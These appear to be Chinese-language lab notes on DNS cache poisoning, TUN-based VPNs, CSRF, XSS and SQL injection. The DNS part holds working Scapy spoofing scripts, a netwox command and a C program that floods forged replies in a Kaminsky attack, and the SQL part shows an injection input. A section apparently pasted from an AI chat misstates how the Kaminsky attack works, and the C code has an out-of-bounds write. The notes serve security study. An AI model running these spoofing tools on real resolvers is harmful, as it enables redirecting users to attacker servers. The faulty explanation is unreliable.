Clip_2024-11-08_00-38-53

Clip_2024-11-08_00-39-15

上面的攻擊是一次都要偽造一個資料包,比較麻煩,而DNS快取中毒攻擊則實現在一段時間內都不用偽造 攻擊的是本地DNS伺服器。實現攻擊最重要的是偽造DNS回覆,這個回覆是UDP資料包。

實驗的目的是在偽造的回覆中,把主機名www.example.net對映到IP地址1.2.3.4,並且告訴本地DNS伺服器 example.net的域名伺服器是攻擊者的計算機ns.attacker32.com,這樣一來,所有對該域的查詢都會發往 ns.attacker32.com

#!/usr/bin/python
from scapy.all import *

def spoof_dns(pkt):
if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src,src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname="example.net", type='NS',
rdata='ns.attacker32.com', ttl=259200)
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd,
aa=1,rd=0,qdcount=1,qr=1,ancount=1,nscount=1,
an=Anssec, ns=NSsec)
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)

pkt=sniff(filter='udp and (src host 192.168.230.154 and dst port 53)',
prn=spoof_dns)

步驟: 1、開啟wireshark,清空訊息 2、DNS服務端清理快取

sudo rndc flush

3、攻擊機器(這個實驗必須要用三臺虛擬機器,攻擊者用宿主機替代不成功)執行指令碼

sudo python dns_spoof.py

4、使用者機dig域名

dig www.example.net

dig域名

Note

為了更方便測試,也可以將上述指令碼filter改成: udp and dst port 53

攻擊機器也可以不執行指令碼,而改用一個命令:

sudo netwox 105 -h www.example.net -H 5.6.7.8 -a ns.attacker32.com -A 1.2.2.1 -d ens33 -T 600 -s raw

使用者機得到dns解析結果: dig域名2

轉儲檔案 將快取轉儲到檔案中,可以看到快取已經被汙染了

針對授權部分的攻擊

上面的方法只有對一個域名的快取,如果想要得到授權對一個域進行攻擊的話,就需要配置一個合法的ip

實驗的目的是偽造權威域名伺服器,使所有example.net域的請求都指向attack32.com

from scapy.all import *

def spoof_dns(pkt):
if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='192.168.230.154')
NSsec1 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='attacker32.com')
Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='192.168.230.156')

DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1,nscount=1,arcount=1,an=Anssec, ns=NSsec1, ar=Addsec1)

spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)

pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)

步驟: 1、服務端清快取 2、wireshark清空 3、攻擊機執行指令碼 4、使用者機dig 偽造ns授權伺服器 可以看到attack32.com已經被當作權威域名

Warning

這部分書上是透過修改服務端配置檔案的方式來做實驗的,那首先得攻陷伺服器。這裡的方法不用攻陷伺服器只是偽造指令碼實現, 更高明一點。

遠端DNS快取中毒攻擊

本地DNS快取中毒攻擊有一定的侷限性,必須在同一個區域網中。而遠端攻擊嗅探不到DNS請求。 DNS請求中有兩個資料遠端攻擊者很難獲得: 1、UDP頭部的源埠號 DNS請求透過UDP資料包傳送,源埠號是16位元的隨機數字

2、DNS頭部16位元的交易ID

Note

一個欺騙回復必須包含這兩個值,否則回覆不會被接受。遠端攻擊者只能猜測這兩個值,猜到 的機率為2的32次方,如果1秒內發1000個請求,則需要50天。如果用1000個主機的殭屍網路 發起攻擊,則需要1.2小時

而實際由於快取的因素,DNS伺服器不會對同一主機發起第二次請求,除非快取內的結果過期。快取的這個特點 使得攻擊在嘗試第二次攻擊前需要等待,這使得遠端DNS中毒攻擊變得不現實。

Kaminsky攻擊

為了對遠端計算機發動欺騙攻擊,需要完成三個任務: 1、觸發目標伺服器傳送DNS請求 2、傳送欺騙回復 3、使快取失效 前兩個任務很簡單,難度比較大的是第三個,這一直是一個懸而未解的問題,直到Dan Kaminsky提出了一個巧妙的解決 方案,透過他的方案,攻擊者可以持續地發起欺騙攻擊,而不需要等待。

他的思路不是讓快取失效,而是去修改域名伺服器的上一級權威域名伺服器。用一個隨機的二級域名向遠端DNS伺服器發請求, 在上一級權威域名伺服器回覆訊息前,偽造訊息給遠端域名伺服器,帶上NS記錄,如果猜錯則繼續用隨機二級域名重試。

準備攻擊環境

實驗的目的是讓ns.attacker32.com作為example.com的權威域名伺服器 步驟: 0、配置使用者機head檔案和配置DNS伺服器options和第二節一樣 1、DNS伺服器刪除example.com這個區域 2、DNS伺服器設定一個forward區域 由於沒有真正擁有attacker32.com這個域名,但是修改配置也可以達到效果

vi /etc/bind/named.conf
zone "attacker32.com" {
type forward;
forwarders {
192.168.230.156;
};
};

3、配置攻擊機

vi /etc/bind/named.conf
zone "attacker32.com" {
type master;
file "/etc/bind/attacker32.com.zone";
};
zone "example.com" {
type master;
file "/etc/bind/example.com.zone";
};

example.com.zone如下:

$TTL 3D
@ IN SOA ns.example.com. admin.example.com. (
2008111001
8H
2H
4W
1D)

@ IN NS ns.attacker32.com.

@ IN A 1.2.3.4
www IN A 1.2.3.5
ns IN A 192.168.230.156
* IN A 1.2.3.4

attacker32.com.zone如下:

$TTL 3D
@ IN SOA ns.attacker32.com. admin.attacker32.com. (
2008111001
8H
2H
4W
1D)

@ IN NS ns.attacker32.com.

@ IN A 192.168.230.156
www IN A 192.168.230.156
ns IN A 192.168.230.156
* IN A 192.168.230.156

重啟BIND生效

sudo service bind9 restart

4、在使用者機測試 dig測試 可以看到這個地址是由攻擊機指定的

指定權威域名伺服器查詢,會得到攻擊機的地址 dig地址 這是透過修改配置檔案的方式實現了遠端DNS中毒攻擊

攻擊方式實現

實現目標是,當使用者訪問www.example.com時,重定向到一個惡意的www.example.com

完整的DNS查詢過程如下: 正常過程

example.com名稱伺服器被快取情況下的DNS查詢過程: 快取情況 以上這個圖,ns.dnslabattacker.net改為ns.attacker32.com

快取情況下的攻擊比較複雜,要拆分成幾個階段 由於這個實驗對回覆包的速度有很高要求,python的scapy速度慢成功機率為0,而用c來構造傳送和響應包程式複雜, 故更好的方案是用scapy來生成包,由c來傳送包

實現構造DNS請求

這個請求是從攻擊者發往DNS伺服器的

from scapy.all import *

target_name="xxxxx.example.com"

ip = IP(dst='192.168.230.154',src='192.168.230.156')
udp = UDP(dport=53,sport=1234,chksum=0)
qds = DNSQR(qname=target_name)
dns = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=qds)
Querypkt= ip/udp/dns

with open('query.bin','wb')as f:
f.write(bytes(Querypkt))

由於請求中xxxxx的名字需要改,我們要知道這個名字在二進位制檔案中的地址,用bless可以看到在0x29,10進製為41 query中名字地址

偽造DNS回覆包

from scapy.all import *

targetName="xxxxx.example.com"
targetDomain="example.com"
attackerNS ="ns.attacker32.com"

dstIP="192.168.230.154"
srcIP='192.168.230.156'

ip = IP(dst=dstIP,src=srcIP,chksum=0)
udp = UDP(dport=33333,sport=53,chksum=0)

Qdsec = DNSQR(qname=targetName)
Ansec = DNSRR(rrname=targetName,type='A',rdata='1.2.3.4',ttl=259200)
NSsec = DNSRR(rrname=targetDomain,type='NS',rdata=attackerNS,ttl=259200)
dns = DNS(id=0xAAAA,aa=1,rd=1,qr=1,qdcount=1,ancount=1,nscount=1,arcount=0,qd=Qdsec,an=Ansec,ns=NSsec)
Replypkt = ip/udp/dns

with open('reply.bin','wb') as f:
f.write(bytes(Replypkt))

reply中地址 同理,找到響應包中transaction ID為0xAAAA的地址為28, 兩個二級域名的地址分別為41、64

c語言攻擊程式碼

#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <sys/socket.h>

#define MAX_FILE_SIZE 2000


/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};

void send_raw_packet(char * buffer, int pkt_size);


int main()
{
long i = 0;

srand(time(NULL));

// Load the DNS request packet from file
FILE * f_req = fopen("query.bin", "rb");
if (!f_req) {
perror("Can't open 'query.bin'");
exit(1);
}
unsigned char ip_req[MAX_FILE_SIZE];
int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);

// Load the first DNS response packet from file
FILE * f_resp = fopen("reply.bin", "rb");
if (!f_resp) {
perror("Can't open 'reply.bin'");
exit(1);
}
unsigned char ip_resp[MAX_FILE_SIZE];
int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);

char a[26]="abcdefghijklmnopqrstuvwxyz";
unsigned short transaction_id = 0;
while (1) {
// 構造長度為5的二級域名
char name[5];
for (int k=0; k<5; k++) name[k] = a[rand() % 26];
name[5] = '\0';
printf("attempt #%ld. request is [%s.example.com], transaction ID is: [%hu]\n",
++i, name, transaction_id);

// 修改二級域名,傳送dns請求
memcpy(ip_req+41,name,5);
send_raw_packet(ip_req, n_req);

// 回覆給dns的包,其中有兩處域名修改
memcpy(ip_resp+41,name,5);
memcpy(ip_resp+64,name,5);

for(int i=0;i<100;i++)
{
transaction_id++;

// 修改序列號,重新發偽造包
memcpy(ip_resp+28,&transaction_id,2);
send_raw_packet(ip_resp,n_resp);
}
}
return 0;
}

void send_raw_packet(char * buffer, int pkt_size)
{
struct sockaddr_in dest_info;
int enable = 1;

int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));

struct ipheader *ip = (struct ipheader *) buffer;
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;

sendto(sock, buffer, pkt_size, 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}

準備測試指令碼

在DNS伺服器準備測試指令碼

#!/bin/bash

echo 'dump the cache'
sudo rndc dumpdb -cache
cat /var/cache/bind/dump.db | grep attack
echo 'if there is no result,the attack has not succeed yet'

測試

這個實驗開始部分只需兩臺虛擬機器(DNS伺服器和攻擊機),最後伺服器這邊查詢到已被快取後,再啟動使用者機去dig

1、在攻擊機執行攻擊程式

sudo ./attack

執行攻擊程式

2、過10秒在伺服器執行檢測快取 伺服器快取檢查

經常會用的命令

sudo rndc flush
sudo service bind9 restart

Warning

配置實驗正確後,必須非常嚴格地先清空服務端快取、再發起攻擊、再check、再使用者機查詢 一直check不到結果,使用者機查配置實驗,如已壞則攻擊失敗,必須伺服器和攻擊機兩虛擬機器重啟再試 攻擊的時間不可超過1分鐘,否則伺服器會不可用,無法重啟

實驗經驗

被攻擊的DNS伺服器不會使用回覆中提供的IP地址,而是會發出一個新的請求親自查詢ns.attacker32.com的真實ip地址, 攻擊者必須真正擁有attacker32.com這個域名才有機會回應這個請求,並提供他們選擇的IP地址

Next Previous

預防DNS快取中毒攻擊

DNS的根本問題是無法對應答的真實性進行檢查,DNS協議不提供對回覆真偽的驗證機制。

DNSSEC

為了在協議層面提供認證機制,域名系統安全擴充套件(DNSSEC)應運而生。DNSSEC是DNS的一系列擴充套件,目標是為DNS資料 提供認證和完整性檢查。

DNSSEC在3個RFC中定義:RFC 4033,RFC 4034,RFC 4035。 有了DNSSEC,DNS回覆會被進行數字簽名,透過檢查數字簽名,DNS解析器能夠判斷返回的資訊是否可信。

DNSSEC的主要功能是在回覆訊息中新增三種記錄:RRSIG、DNSKEY和DS。

Dnssec驗證核心例子

當從example.net域名伺服器得到回覆時,該伺服器的公鑰的雜湊值已經被.net伺服器提供

DNSSEC最早部署於2007年,用於國家頂級域名。2010年,第一次在root層級部署,到2015年,許多頂級域名均支援DNSSEC。 然而要讓所有權威域名伺服器都支援DNSSEC還有很多路要走。

TLS/SSL解決方案

在DNSSEC被廣泛接受前,傳輸層安全協議(TLS/SSL)提供了一種解決方案,概況說就是得到域名IP地址後,計算機會 詢問這個IP地址的所有者,讓它提供對域名所有權的證明。

證明的方法是讓伺服器提供被證書授權中心簽名的公鑰證書,伺服器還須表明它知道相應的私鑰。這個證明協議是TLS協議 的一部分,經常被稱為TLS/SSL,因為它的前身是SSL。

Note

這個解決方案,簡單說,就是使用HTTPS協議。https協議是建立在TLS/SSL協議之上的。有了https,即使受到 DNS快取中毒攻擊,偽造的伺服器仍需要提供正確的證書。

對比

DNSSEC和TLS/SSL協議都建立在公鑰技術之上。但是它們的信任鏈不同。 DNSSEC用DNS區域層次結構提供信任鏈,父區域的域名伺服器為子區域的域名伺服器做擔保。 TLS/SSL協議依賴公鑰基礎設施(PKI)

對DNS伺服器的拒絕服務攻擊

對root和TLD伺服器的攻擊

攻擊不容易成功,原因有三: 1、快取因素 TLD域名伺服器一般在快取中保留48小時。一旦獲得頂級域名伺服器ip地址,接下來再請求就不是從root伺服器開始了。

2、根域名伺服器數量多且高度分散 3、同一個根域名伺服器部署在不同大洲的多個地點 透過IP anycast技術實現請求時,其中一個伺服器就會接受並回復。這項技術使用邊界閘道器協議(BGP)。在多個不同地點 同時廣播同一個目標IP地址,BGP路由器會從中選擇一個來實現路由目的。

對特定域的域名伺服器的攻擊

二級域名的權威域名伺服器更容易攻擊

Next Previous

深入解析Kaminsky攻擊

結合您提供的 www.example.com 的 DNS 查詢例子,我們來詳細瞭解 Kaminsky 攻擊的步驟以及它高明之處:

攻擊步驟:

  1. 攻擊者選擇一個目標域名,例如 www.example.com 攻擊者需要確保本地 DNS 伺服器沒有快取該域名的解析結果。

  2. 攻擊者向本地 DNS 伺服器傳送大量針對隨機生成的域名的 DNS 查詢請求。 這些隨機域名通常以攻擊者控制的域名作為字尾,例如 random1.attacker.com, random2.attacker.com 等等。

  3. 本地 DNS 伺服器收到這些查詢請求後,會向攻擊者控制的域名伺服器傳送解析請求。

  4. 攻擊者控制的域名伺服器返回偽造的 DNS 回覆。 這些回覆中包含指向惡意伺服器的 NS 記錄,並將該記錄的 TTL 設定為一個較大的值。 同時,攻擊者需要預測本地 DNS 伺服器的源埠號和事務 ID,以使偽造的回覆能夠被本地 DNS 伺服器接受。

  5. 本地 DNS 伺服器接收偽造的回覆,並將惡意資訊快取起來。 由於攻擊者每次查詢的域名都是隨機生成的,因此本地 DNS 伺服器不會快取這些域名的解析結果。 但是,攻擊者在回覆中包含了指向惡意伺服器的 NS 記錄,並且該記錄的 TTL 設定為一個較大的值,因此本地 DNS 伺服器會快取該記錄。

  6. 當使用者訪問目標域名 www.example.com 時,本地 DNS 伺服器會首先檢查自己的快取。 由於攻擊者已經透過之前的攻擊將指向惡意伺服器的 NS 記錄注入到本地 DNS 伺服器的快取中,因此本地 DNS 伺服器會將使用者引導到攻擊者控制的惡意伺服器。

高明之處:

  • 繞過快取效應: Kaminsky 攻擊透過每次詢問不同的問題(隨機域名)來繞過快取效應,使得本地 DNS 伺服器無法有效地快取攻擊者的回覆。 這就保證了攻擊者可以持續地向本地 DNS 伺服器注入惡意資訊,而不用擔心快取的影響。

  • 放大攻擊效果: 攻擊者只需要傳送少量的 DNS 查詢請求,就可以汙染大量的本地 DNS 伺服器。 這是因為攻擊者偽造的 DNS 回覆中包含指向惡意伺服器的 NS 記錄,而該記錄會被本地 DNS 伺服器快取並用於解析其他域名。

資料中關於Kaminsky攻擊的描述:

  • 提到了 Kaminsky 攻擊的目標是偽造 DNS 回覆,並且需要克服快取效應的挑戰。

  • 描述了 Kaminsky 攻擊的步驟,包括髮送大量針對隨機生成的域名的 DNS 查詢請求,以及偽造包含指向惡意伺服器的 NS 記錄的 DNS 回覆。

  • 解釋了攻擊者如何透過設定較大的 TTL 值來放大攻擊效果。

總結:

Kaminsky 攻擊是一種非常巧妙的 DNS 快取中毒攻擊,它利用了 DNS 協議的漏洞,可以對網際網路造成重大影響。 因此,瞭解 Kaminsky 攻擊的原理和防禦方法非常重要。

虛擬專用網路基本概念

私有網路的三個特性: 1、使用者認證 2、內容保護 3、完整性保護 如果不需要把計算機放在一個內部網路內也能實現這些特性,那麼內網和外網就不那麼重要了。如果能建立一個既包含內網又包含外網 的私有網路,就稱這個網路為虛擬專用網路。虛擬專用網路是為了能在公共基礎設施之上提供企業的私有網路服務而提出的。

虛擬專用網路的工作原理

VPN的另一個重要特性是透明性,透明性最佳實現方式是透過IP層。故實現VPN就變成如何安全地在虛擬專用網路內的主機 A和B之間傳送IP資料包。 難點在於IP資料包的所有部分都要被加密保護,然而加密的IP資料包是不能經由因特網傳輸的, 因為路由器不能讀取加密資料包的頭部,也無法修改資料包的頭部(路由器需要修改存活時間和校驗和) 一種解決方法是把受保護的IP資料包作為載荷放入一個新的IP資料包中,這個新的資料包頭是不加密的。它的任務是從A到B 傳輸受保護的原始IP資料包,一旦到達A或B,新資料包頭被丟棄。這個技術叫做IP隧道(IPSec tunneling)

有多種方法可實現IP隧道,最具代表性的兩種方法是IPSec隧道和TLS/SSL隧道。IPSec隧道使用了網際網路絡層安全協議(IPSec) IPSec有一個模式叫做隧道模式,在這個模式下,整個原始IP資料包被封裝在一個新的IP資料包內,並且新增一個新的頭部, 這是在IP層完成的。這種方法已經被用來實現VPN。

另一種實現隧道的方法是不在核心實現,而在應用內部實現。它的做法是把每個屬於VPN的IP資料包傳遞給特定的應用程式, 這個應用程式把資料包放入TCP或者UDP包(一個新的資料包)內,然後把新資料包傳送給應用程式在隧道另一端的對接程式, 對接程式將原始資料包從TCP或者UDP包的載荷中提取出來,併傳送到私有網路內。 為了保護資料包的安全,隧道的兩端使用TLS/SSL通訊,因此這個技術被稱為TLS/SSL隧道,也被稱為傳輸層隧道。這個隧道 更加流行,是因為它在應用程式中實現,而不是在核心中實現。應用層面實現更容易,更容易更新。

vpn原理

TLS/SSL VPN原理概述

建立虛擬線路需要兩臺計算機,一臺VPN客戶端,一臺VPN伺服器 VPN客戶端和伺服器的主要任務如下: 1、建立一條安全的隧道 2、轉發由隧道一端到另一端的IP資料包 3、在隧道另一端接收到IP資料包後,把資料包傳送到私有網路內,這樣資料包可以到達最終的目的地

建立一個TLS/SSL隧道

需要互相認證,驗證通常透過公鑰證書來實現,TLS/SSL通道中的資料是加密的,因此是安全的通道

轉發IP資料包

例如,10.0.7.0/24作為客戶端的子網,10.0.8.0/24作為服務端的子網,這兩子網可以不屬於同一個網路,無論網路 配置多麼複雜,只需設定好路由器,讓兩個子網的流量都先發往vpn伺服器。 vpn收到客戶端資料包後,要透過專用安全通道傳送給伺服器,但是系統如何把資料包傳遞給執行在使用者空間的應用程式是 一個問題 有兩個原因讓隧道應用程式難以得到這個資料包,一是作業系統不會把資料包交給它自己的應用程式,二是即使vpn客戶端 決定在網路協議棧中把資料包交給它自己的應用程式,但只有資料部分會被傳遞給應用程式,IP頭和傳輸層頭都會被丟棄。 而基於IPSec的vpn則不會有這個問題,因為隧道是在核心內部的。

Tuntap技術

解決上述問題的一個設想是假定隧道應用程式是一臺計算機(而不是一個應用程式),這臺計算機與VPN客戶端透過 網路介面連線,然後設定vpn客戶端內部的路由表,讓所有去往10.0.8.0/24的資料包都被路由到這臺計算機,因為 隧道應用程式是透過路由器得到資料包的,因此它能得到完整的資料包,包括IP頭部。 TUN/TAP技術就是這樣一個技術,使一個應用程式成為一臺虛擬機器,並透過虛擬網路介面連線到vpn客戶端。

傳遞IP資料包

新資料包透過通道到達VPN伺服器,VPN伺服器的網路協議棧會剝掉新頭部,把載荷(即加密的IP資料包)交給隧道應用程式。 在解密原始IP資料包並且驗證它的完整性後,隧道應用程式需要把它交給核心,核心再把這個資料包路由給終點V。 這裡的一個問題是應用程式如何把IP資料包傳遞給系統核心呢,答案是用TUN/TAP技術

Next Previous

TLS/SSL VPN原理細節

這節的重點是通道應用程式如何從系統中得到IP資料包

虛擬網路介面

Linux和許多作業系統都支援兩種網路介面:物理網路介面和虛擬網路介面。 物理網路介面透過硬體網路卡把計算機連到網路。 虛擬網路介面對應一個用軟體實現的虛擬網路卡。

虛擬網路介面例子

loopback介面,任何傳送到該介面的流量都會返回給核心,實現資料包來自網路的效果。 TUN/TAP介面。

TUN介面作用在網路協議棧的IP層或者OSI的第三層(網路層),把資料包傳送到TUN介面會使得資料包(包括IP頭部)被 傳遞到使用者空間的程式。 TAP介面作用在OSI的第二層(資料鏈路層),它的作用就像一個物理網路介面卡。被廣泛用於建立網橋。

物理網路介面與虛擬網路介面的區別如下: 物理網路介面與虛擬網路介面的區別

建立TUN介面

TUN就是在核心和使用者程式之間的代理

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <sys/ioctl.h>

int createTunDevice()
{
int tunfd;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));

ifr.ifr_flags = IFF_TUN | IFF_NO_PI;
tunfd = open("/dev/net/tun", O_RDWR);
ioctl(tunfd, TUNSETIFF, &ifr);

return tunfd;
}

int main () {
int tunfd = createTunDevice();
printf("TUN file descriptor: %d \n", tunfd);

// We can interact with the device using this file descriptor.
// In our experiement, we will do the interaction from a shell.
// Therefore, we launch the bash shell here.
char *argv[2];
argv[0] = "/bin/bash"; argv[1] = NULL;
execve("/bin/bash", argv, NULL);

return 0;
}

程式解讀: 為了使用TUN/TAP,程式需要開啟/dev/net/tun裝置,並且呼叫對應的ioctl()函式在核心中註冊一個網路裝置。 這個網路裝置會以tunNN(NN代表一個數字),或tapNN的形式呈現,取決於所選的標誌是什麼

Note

要建立一個網路裝置,一個程序需要有root或者CAP_NET_ADMIN許可權

建立tun ifconfig -a可以用來檢視TUN裝置是否建立成功。不加-a只會列舉已被啟用的介面

啟用tun 使用虛擬網路介面前需要先進行配置,首先需要指定介面要連線的網路並配置IP地址,然後啟用介面。 這個過程用一條命令實現,上面第一條命令把這個網路介面連線到10.0.8.0/24網路,並給這個介面 分配IP地址10.0.8.99,執行完後,可以透過ifconfig看到了

Note

注意這個介面是暫時的,程式結束後就被銷燬,也可以建立永久性的TUN裝置。

將資料包路由到TUN介面

資料包在隧道中流程如下圖: 資料包在隧道中流程 由圖左邊部分可知,IP資料包由私有網路內的2和3產生,需要讓它們流向VPN隧道應用程式所在的計算機,則需要配置 一個路由表

配置路由 上述命令把所有目標地址是10.0.8.0/24的資料包傳送到tun0介面

TUN介面的讀操作和寫操作

從TUN介面讀資料,來做一個實驗,向10.0.8.32傳送ping包,這個Ip資料包屬於子網10.0.8.0/24,因此它 會被髮給tun0介面

1、讀取tun0介面的檔案描述符

xxd <& 3

2、傳送ping包

ping 10.0.8.32

3、從tun0介面可以讀取到ping包 讀取Ping包 45通常是許多IPv4資料包的開始位元組,可以看到這個資料從0a 00 08 63發往0a 00 08 20,即從 10.0.8.99發往10.0.8.32。 <& 3是把標準輸出重定向到檔案描述符3

向TUN介面寫資料,因為系統核心會從這個介面接收資料包,所以需要寫入合法的資料包到該介面內,否則系統會報錯。

1、準備輸入檔案 hexfile

2、轉換成16進位制檔案

xxd -r hexfile > packetfile

3、寫入tun介面

cat packetfile >& 3

Warning

vim -b hexfile,以二進位制方式開啟 :%!xxd 轉化為16進位制顯示 這個實驗沒有寫入成功,寫入時報引數錯誤

跨站請求偽造背景 CSRF背景

Note

跨站請求偽造(CSRF)是一種惡意攻擊,當普通使用者訪問惡意網頁時,該網頁可以代替使用者向目標網站傳送偽造的請求。

網站通常依靠cookie來判斷一個來自客戶端的請求是否可信

漏洞產生

瀏覽器會給偽造的請求附加所有目標網站的cookies,當目標網站收到這個請求時,如果它沒有任何策略來識別這個偽造的請求, 那麼它將會處理該請求,導致安全漏洞。

Clip_2024-11-07_11-41-26

防禦措施

web伺服器不知道一個請求是否是跨站請求,瀏覽器知道請求是哪個頁面產生的,知道是否跨站請求,但是瀏覽器沒有把這個資訊 傳給伺服器,改變這一點,就能抵禦CSRF攻擊。

使用refer頭

refer頭用來記錄請求是從哪個網頁發出的。但是它會洩露使用者的瀏覽歷史,產生隱私洩露問題。一些瀏覽器為了保護隱私會刪除 該欄位。故使用這個頭欄位作為防護策略可能會誤把很多合法請求當成跨站請求。

同站cookie

Chrome、Firefox和Opera使用一個特殊屬性SameSite屬性,告訴瀏覽器一個cookie是否可以被跨站請求使用。 值為Strict,則不會跨站請求使用,Lax時,cookie只有在頂級導航的跨站請求時才一起傳送。

秘密令牌

主要是在同站cookie支援之前使用。秘密令牌只能被自己的頁面取得,其他網站頁面得不到。實現方法有兩種: 1、每個網頁內嵌入一個隨機的機密值。 2、機密值放在cookie中。 這兩個方法都是依賴瀏覽器同源策略實現的。

瀏覽器的同源策略

瀏覽器執行一個指令碼的時候會檢查這個指令碼是屬於哪個頁面的 同源策略是瀏覽器的行為,是為了保護本地資料不被JavaScript程式碼獲取回來的資料汙染,因此攔截的是客戶端發出的請求回來的資料接收, 即請求傳送了,伺服器響應了,但是無法被瀏覽器接收。

Elgg的防護措施

Elgg使用秘密令牌來抵禦CSRF攻擊。Elgg在所有頁面都內嵌了兩個機密值: elgg_ts和elgg_token。

實現思路

用一個模組(ActionsService.php)管理兩個值,新增到了每個網頁中。請求時帶上這兩個值, 在後端重新算一遍token,處理每個請求之前都會先驗證token。

開啟安全防護:

vi /var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg/ActionsService.php

開啟防護

這時再來驗證之前新增好友那個攻擊,登陸charlie賬戶,再來訪問惡意網站 防護後訪問惡意網站

目標網站會提示錯誤,無法將好友Samy加入,防禦成功 防護成功

跨站指令碼攻擊 XSS

csrf攻擊是要受害者訪問惡意網站攻擊才能得逞。而跨站指令碼攻擊(XSS)是攻擊者必須找到將自己的惡意程式碼經由 目標網站注入目標使用者瀏覽器的方法。 將程式碼注入目標瀏覽器有兩種方法:1、反射型XSS。2、儲存型XSS。

Clip_2024-11-07_11-49-27

反射型XSS攻擊

許多網站都有反射行為,就是從使用者那邊接收輸入,執行一些操作,之後向使用者傳送響應網頁,使用者的輸入也被包含在響應中。 比如搜尋xyz,最後顯示xyz找不到。

攻擊者可以在輸入中混入JavaScript程式碼,這樣當輸入被反射回瀏覽器時,JavaScript程式碼將被注入該網站的網頁中。

Warning

承載程式碼的輸入必須從目標使用者的計算機發出。

儲存型XSS攻擊

攻擊者把資料發給目標網站,網站對資料進行永續性儲存,之後,如果網站將儲存資料傳送給其他使用者,那麼就在 攻擊者和其他使用者之間建立了一條通道。

典型的應用比如社交網站的主頁,使用者評論等。

XSS能造成的破壞

1、汙染網頁。比如新聞改成假新聞。 2、欺騙請求。偷偷發新增好友請求。 3、竊取資訊。包括cookie、網頁中顯示的個人資料、被網路應用程式儲存在本地的資料。

抵禦XSS攻擊

XSS漏洞的根本原因是HTML允許JavaScript中的程式碼和資料混編。 有兩種方法可以防禦XSS攻擊: 1、過濾資料中的程式碼,或把程式碼轉成資料 2、強制開發者把程式碼和資料分開,然後對程式碼部分新增約束條件

去除程式碼

有兩種方法: 1、過濾掉資料中的程式碼 2、透過編碼把程式碼轉換成資料

過濾方法

由於JavaScript程式碼混在資料中的方法很多,使用script標籤不是唯一注入方法,有開源庫可以使用jsoup,不建議自己開發。

編碼方法

攻擊的程式碼被伺服器編碼,瀏覽器看到後,再還原顯示

Elgg的防範策略

elgg綜合使用了上面兩種,用HTMLawed的PHP模組過濾,用htmlspecialchars的PHP函式來編碼,只是實驗中關閉了。

用內容安全策略來抵禦XSS攻擊

網頁中放入js程式碼兩種方式

嵌入式:程式碼直接在網頁中。 引入式:把程式碼放在另外一個檔案或url中,包含進網頁

嵌入式程式碼是導致XSS漏洞的罪魁禍首。xss攻擊者雖然也可以用引入式方法在資料中加入程式碼,但無法將程式碼 放在被網站信任的地方。 告訴瀏覽器哪些來源是可以信任的是透過一個叫做內容安全策略的機制實現的(CSP content security policy)。 透過CSP,網站可以透過在回覆的頭部加入一些CSP規則,告訴瀏覽器不要執行頁面中嵌入的任何JavaScript程式碼, 所有程式碼都必須從網站單獨下載。

比如如下CSP規則:

Content-Security-Policy: script-src 'self'

不僅禁止了所有嵌入式程式碼,還規定只有來自和該網頁同一網站的程式碼才可以被執行(這是self的意義)。在這個規則下, 引入js必須這樣寫:

<script src="myscript.js"></script>

但有時需要執行從其他可以信任的網站下載的程式碼,CSP允許提供一個白名單,如:

Content-Security-Policy: script-src 'self' example.com 
https://apis.google.com

*安全地使用嵌入式程式碼* 如果開發者確想用嵌入式的方法把程式碼放到網頁中,CSP也提供了一種安全的做法,就是要求在CSP規則中指明哪些嵌入程式碼是 可信的。有兩種: 1、把可信程式碼的單項雜湊值放在CSP規則中 2、用nonce,在CSP規則中設定一些可信任的nonce

Content-Security-Policy: script-src 'nonce-34fo3er92d'
<script nonce="34fo3er92d">...</script>

sql注入背景

這部分書上沒有關於實驗環境的描述,要看Seed Lab資料 seed自帶虛擬機器已經安裝好了mysql服務,root密碼是seedubuntu

Mysql的三種註釋

select * from employee; # Comment select * from employee; -- Comment select * from / Comment / employee;

虛擬機器提供的服務過程經過抽象相當於填如下SQL語句模板:

select Name, Salary, SSN from employee where eid='   ' and password = '    ';

如果eid輸入了EID5002'#, 那麼sql語句等同於:

select Name, Salary, SSN from employee where eid='EID5002';

